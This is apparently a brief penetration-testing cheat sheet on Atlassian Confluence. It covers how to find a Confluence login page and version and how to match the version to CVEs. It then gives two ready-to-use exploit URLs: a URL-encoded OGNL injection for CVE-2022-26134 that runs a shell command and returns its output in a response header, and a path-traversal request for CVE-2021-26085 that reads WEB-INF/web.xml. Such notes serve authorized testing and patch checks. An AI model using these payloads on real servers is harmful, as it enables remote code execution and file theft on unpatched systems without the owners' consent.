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Confluence Common Bugs

Introduction

What would you do if you came across a website that uses Confluence?

How to Detect

Try to HTTP request to https://example.com/login.action?os_destination=%2F and there is a form login

  1. Find the related CVE by checking Confluence version
  • How to find the Confluence version

Try to request to https://example.com/login.action?os_destination=%2F and then check the source code. You will find this line <meta name="ajs-version-number" content="8.20.9"> so 8.20.9 is the Confluence version. If you found outdated Confluence version, find the CVEs at CVEDetails

Some example CVE:

  • CVE-2022-26134 (Remote Code Execution)
https://example.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
  • CVE-2021-26085 (Arbitrary File Read)
https://example.com/s/test/_/;/WEB-INF/web.xml